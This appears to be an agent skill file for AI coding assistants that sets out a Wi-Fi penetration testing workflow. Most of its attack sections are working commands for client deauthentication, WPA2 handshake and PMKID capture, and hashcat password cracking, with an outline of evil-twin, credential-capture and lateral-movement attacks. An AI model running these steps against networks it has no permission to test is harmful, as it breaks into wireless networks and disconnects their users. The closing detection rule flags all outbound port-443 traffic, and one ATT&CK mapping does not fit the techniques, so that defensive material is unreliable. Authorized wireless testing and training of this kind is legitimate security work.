<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: performing-wifi-penetration-testing
description: >-
  End-to-end Wi-Fi penetration testing methodology including reconnaissance, WPA2/WPA3 attack execution, client-side attacks, and post-exploitation over wireless networks.
domain: cybersecurity
subdomain: wireless-security
tags:
  - wifi-pentest
  - wpa2
  - wpa3
  - aircrack-ng
  - wireless-offensive
version: "1.0"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1557.002", "T1200", "T1040"]
  nist-csf: ["PR.AC-5", "DE.CM-1"]
  uuid: 5f580d6e-a54f-45bb-8020-54a8b2f40abd
---

# Performing Wi-Fi Penetration Testing

## Overview

Wi-Fi penetration testing validates wireless network security through authorized offensive
testing. This covers the full attack lifecycle: reconnaissance with airodump-ng, handshake
capture, PMKID extraction, credential cracking, client impersonation, and lateral movement
from a wireless foothold. All testing requires explicit written authorization.

Mode: `[MODE: RED]` for this technique.

## Prerequisites

| Requirement | Details |
|---|---|
| Wireless adapter supporting monitor mode and packet injection (e.g., Alfa AWUS036ACH) | Required |
| aircrack-ng suite (airmon-ng, airodump-ng, aireplay-ng) | Required |
| hcxdumptool and hcxpcapngtool for PMKID attacks | Required |
| hashcat or john for offline cracking | Required |
| Written authorization / Rules of Engagement | Required |

## Key Concepts

### Attack Surface Mapping

```
Wi-Fi Pentest Phases:
├── Reconnaissance
│   ├── Passive scanning (airodump-ng)
│   ├── SSID enumeration (hidden + broadcast)
│   ├── Client probing behavior analysis
│   └── Channel and signal strength mapping
├── Authentication Attacks
│   ├── WPA2-PSK handshake capture
│   ├── PMKID extraction (clientless)
│   ├── WPA Enterprise: EAP downgrade
│   └── WPS PIN brute force
├── Client-Side Attacks
│   ├── Evil twin / AP impersonation
│   ├── KARMA / known-beacon attack
│   └── Captive portal credential capture
└── Post-Exploitation
    ├── Network pivoting from wireless
    ├── VLAN hopping from guest Wi-Fi
    └── Credential relay / lateral movement
```

### Monitor Mode and Reconnaissance

```bash
# Kill interfering processes and enable monitor mode
sudo airmon-ng check kill
sudo airmon-ng start wlan0

# Passive scan — all channels, all bands
sudo airodump-ng wlan0mon

# Target specific BSSID on channel 6 with capture file
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w pentest_capture wlan0mon

# Discover hidden SSIDs via client probe requests
sudo airodump-ng wlan0mon --essid-regex '.*' | grep '<length:'
```

### WPA2 Handshake Capture and Cracking

```bash
# Capture WPA2 4-way handshake
sudo airodump-ng -c 6 --bssid $TARGET_BSSID -w handshake wlan0mon

# Force client reconnection with targeted deauth
sudo aireplay-ng -0 3 -a $TARGET_BSSID -c $CLIENT_MAC wlan0mon

# Verify handshake captured
aircrack-ng handshake-01.cap

# Convert to hashcat format
hcxpcapngtool -o hash.hc22000 handshake-01.cap

# Crack with rules-based attack
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
```

### PMKID Attack (Clientless)

```bash
# Extract PMKID — no client needed
sudo hcxdumptool -i wlan0mon --enable_status=1 -o pmkid.pcapng \
  --filterlist_ap=$TARGET_BSSID --filtermode=2

# Convert and crack
hcxpcapngtool -o pmkid.hc22000 pmkid.pcapng
hashcat -m 22000 pmkid.hc22000 /usr/share/wordlists/rockyou.txt
```

## Workflow

### Step 1: Pre-Engagement

Confirm scope, rules of engagement, and authorized BSSID/SSID list.

### Step 2: Reconnaissance

```bash
sudo airmon-ng start wlan0
sudo airodump-ng --band abg wlan0mon -w recon_output
```

### Step 3: Attack Execution

Execute handshake capture, PMKID extraction, or WPS attacks as authorized.

### Step 4: Credential Cracking

```bash
hcxpcapngtool -o combined.hc22000 *.cap *.pcapng
hashcat -m 22000 combined.hc22000 wordlist.txt -r best64.rule --status
```

### Step 5: Post-Exploitation Validation

If credentials recovered, validate network access and document lateral movement potential.

### Step 6: Reporting

Document all findings with severity ratings, proof-of-concept evidence, and remediation.

## Detection

```yaml
title: Wifi Penetration Testing Detection
id: 9dc387ed-8531-4389-91f3-620f899711d8
status: experimental
description: Detects suspicious activity related to performing wifi penetration testing techniques in wireless security context
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    DestinationPort: 443
    Initiated: "true"
  condition: selection
level: medium
tags:
  - attack.t1557.002
  - attack.t1200
  - attack.t1040
  - attack.initial_access
falsepositives:
  - Wireless intrusion detection system performing routine monitoring
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Wifi Penetration Testing Detection | windows/network_connection | Sigma rule (medium) |
| ATT&CK Coverage | MITRE ATT&CK | T1557.002, T1200, T1040 |

## Verification

- [ ] Monitor mode adapter tested for injection capability
- [ ] All target BSSIDs within authorized scope
- [ ] Handshake capture verified before cracking
- [ ] Cracked credentials stored securely (encrypted)
- [ ] Findings documented with CVSS scoring
- [ ] Remediation recommendations provided

## References

- MITRE ATT&CK T1557.002 — LLMNR/NBT-NS Poisoning and SMB Relay
- MITRE ATT&CK T1200 — Hardware Additions
- OWASP Wireless Security Testing Guide
- [aircrack-ng documentation](https://aircrack-ng.org/doku.php)
